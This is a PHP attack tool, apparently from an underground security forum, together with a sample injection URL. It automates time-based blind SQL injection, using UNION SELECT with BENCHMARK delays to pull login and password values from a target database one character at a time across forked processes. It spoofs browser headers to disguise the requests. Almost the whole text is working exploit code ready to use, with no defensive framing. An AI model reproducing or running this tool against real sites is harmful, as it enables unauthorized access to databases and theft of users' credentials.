ansii(substring... etc.

http://www.site.com/bug.php=2+UNION+SELECT+IF+(ASCII(SUBSTRING(group_concat(login,0x5F,password),0,1)=97),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+where+id=1+limit+1,1/*

<?
//Coded by OzX http://foro.undersecurity.net
set_time_limit (0);
error_reporting(0);
 
function hexsql($text){return '0x'.strtoupper(bin2hex($text));}
function GET($url) {
	$curl = curl_init();
 	$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
	$header[] = "Cache-Control: max-age=0";
	$header[] = "Connection: keep-alive";
	$header[] = "Keep-Alive: 300";
	$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
	$header[] = "Accept-Language: en-us,en;q=0.5";
	$header[] = "Pragma: "; 
 	curl_setopt($curl, CURLOPT_URL, $url);
	curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
	curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
	curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
	curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
	curl_setopt($curl, CURLOPT_AUTOREFERER, true);
	curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($curl, CURLOPT_TIMEOUT, 10);
	if (!$html = curl_exec($curl)) { 
	$html = file_get_contents($url);
					 }
	curl_close($curl);
return $html; 
}
function ordenar($file){
	$file = file($file);
	foreach ($file as $var){
	list($ansii,$valores)= explode(">",$var);
	$vars[$ansii] = $valores;
	}
	ksort($vars);
	foreach ($vars as $var){
	$data .=trim($var);
	}
	return array($data,$vars);
}
 
 
function blind_time($limit,$file,$db,$tabla,$columna){
$ascii = array (44,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,#a-z
		47,32,0, //null, space, _, , 
	        48,49,50,51,52,53,54,55,56,57,	 #0-9
		65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,			     #A-Z
		33,35,36,37,38,45,46  
	);
 
	for ($x=0;$x<=count($ascii);$x++){
		$f1=fopen($file,"a");
		$char = $ascii[$x];
		$starttime=time();
		echo "[+] ".$limit ." >>> Testing :>  ".$char."   =================>     ".chr($char)."\r\n";
$source = GET("http://www.site.com/bug.php?=2+UNION+SELECT+IF+(SUBSTRING(group_concat(login,0x5F,password),".$limit.",1)/**/=/**/CHAR(%22".$char."%22),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+limit+0,1/*");
 
		$endtime=time();
		$difftime=$endtime - $starttime;
		//echo "              DIFERENCIA  -> ".$difftime."\r\n";
		if ($difftime >15){
			$info = $limit . ">".chr($char)."\n";
			$string.= chr($char); //Obtenemos el Valor y lo Guardamos
			echo "[".$limit."] > ENCONTRADO :>>>>>>>>>>> ".$string."\r\n";
						fwrite($f1,$info);
						fclose($f1);
			exit();
		}
	}
}
 
 
 
$limit = $argv[2];
$start = $argv[1];
//$db = $argv[3];
//$tabla = $argv[4];
//$columna = $argv[5];
 
 
 
 
$file = rand().".txt"; 
if (file_exists($file)) {
   unlink($file);
}
 
 
$pids = array();
for($i=$start;$i<=$limit;$i++)
{
  $pid = pcntl_fork();
   if($pid == -1) { die('ERROR FORK');
  } else if ($pid) {
    $pids[] = $pid;
  } else {
    blind_time($i,$file,$db,$tabla,$columna);
    exit();
  }
}
foreach($pids as $pid) {
  pcntl_waitpid($pid, $status);
 
}
 
list($data,$vars) = ordenar($file);
echo "TABLA :> ".$tabla."   COLUMNA :>> ".$columna."\r\n";
echo "Valor Obtenido :> ".$data."\r\n";
echo "DEBUG :>\r\n";
print_r($vars);
unlink($file);
 
 
?>